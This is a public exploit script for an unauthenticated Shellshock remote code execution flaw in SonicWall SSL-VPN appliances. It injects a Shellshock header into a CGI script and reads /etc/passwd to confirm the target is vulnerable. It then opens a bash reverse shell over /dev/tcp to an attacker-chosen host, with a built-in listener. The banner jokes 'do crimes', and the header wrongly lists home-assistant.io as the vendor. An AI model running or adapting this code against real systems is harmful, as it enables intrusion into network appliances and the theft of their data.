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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: SonicWall SSL-VPN 8.0.0.0 - 'shellshock/visualdoor' Remote Code Execution (Unauthenticated)
# Exploit Author: Darren Martyn
# Vendor Homepage: https://www.home-assistant.io/
# Version: < SMA 8.0.0.4
# Blog post: https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/

#!/usr/bin/python
# coding: utf-8
# Author: Darren Martyn
# Credit: Phineas Fisher
# Notes:
# This exploit basically implements the exploits Phineas Fisher used to pwn Hacking Team 
# and the Cayman Trust Bank place. It uses the Shellshock vulnerability to gain a command
# execution primitive as the "nobody" user in the cgi-bin/jarrewrite.sh web-script, spawns
# a trivial reverse shell using /dev/tcp.
# There is a fairly trivial LPE in these that gets you root by abusing setuid dos2unix, but
# implementing that is left as an exercise for the reader. I've seen a few approaches, and 
# would be interested in seeing yours.
# There is another LPE that works only on some models which I also have removed from this.
# Details: https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/
import requests
import sys
import telnetlib
import socket
from threading import Thread
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import time

def banner():
    print """
                                                         
             88                                      88  
             ""                                      88  
                                                     88  
8b       d8  88  ,adPPYba,  88       88  ,adPPYYba,  88  
`8b     d8'  88  I8[    ""  88       88  ""     `Y8  88  
 `8b   d8'   88   `"Y8ba,   88       88  ,adPPPPP88  88  
  `8b,d8'    88  aa    ]8I  "8a,   ,a88  88,    ,88  88  
    "8"      88  `"YbbdP"'   `"YbbdP'Y8  `"8bbdP"Y8  88  
                                                         
                                                         
                                                         
             88                                          
             88                                          
             88                                          
     ,adPPYb,88   ,adPPYba,    ,adPPYba,   8b,dPPYba,    
    a8"    `Y88  a8"     "8a  a8"     "8a  88P'   "Y8    
    8b       88  8b       d8  8b       d8  88            
    "8a,   ,d88  "8a,   ,a8"  "8a,   ,a8"  88            
     `"8bbdP"Y8   `"YbbdP"'    `"YbbdP"'   88   
    SonicWall SSL-VPN Appliance Remote Exploit
Public Release (Jan 2021). Author: Darren Martyn. Credit
goes to Phineas Fisher for this. Stay inside, do crimes.
    """ 

def handler(lp): # handler borrowed from Stephen Seeley.
    print "(+) starting handler on port %d" %(lp)
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lp))
    s.listen(1)
    conn, addr = s.accept()
    print "(+) connection from %s" %(addr[0])
    t.sock = conn
    print "(+) pop thy shell!"
    t.interact()

def execute_command(target, command):
    url = target + "/cgi-bin/jarrewrite.sh"
    headers = {"User-Agent": "() { :; }; echo ; /bin/bash -c '%s'" %(command)}
    r = requests.get(url=url, headers=headers, verify=False)
    return r.text

def check_exploitable(target):
    print "(+) Testing %s for pwnability..." %(target)
    output = execute_command(target=target, command="cat /etc/passwd")
    if "root:" in output:
        print "(*) We can continue, time to wreck this shit."
        return True
    else:
        return False

def pop_reverse_shell(target, cb_host, cb_port):
    print "(+) Sending callback to %s:%s" %(cb_host, cb_port)
    backconnect = "nohup bash -i >& /dev/tcp/%s/%s 0>&1 &" %(cb_host, cb_port)
    execute_command(target=target, command=backconnect)

def hack_the_planet(target, cb_host, cb_port):
    if check_exploitable(target) == True:
        pass
    else:
        sys.exit("(-) Target not exploitable...")
    handlerthr = Thread(target=handler, args=(int(cb_port),))
    handlerthr.start()
    pop_reverse_shell(target=target, cb_host=cb_host, cb_port=cb_port)

def main(args):
    banner()
    if len(args) != 4:
        sys.exit("use: %s https://some-vpn.lol:8090 hacke.rs 1337" %(args[0]))
    hack_the_planet(target=args[1], cb_host=args[2], cb_port=args[3])

if __name__ == "__main__":
    main(args=sys.argv)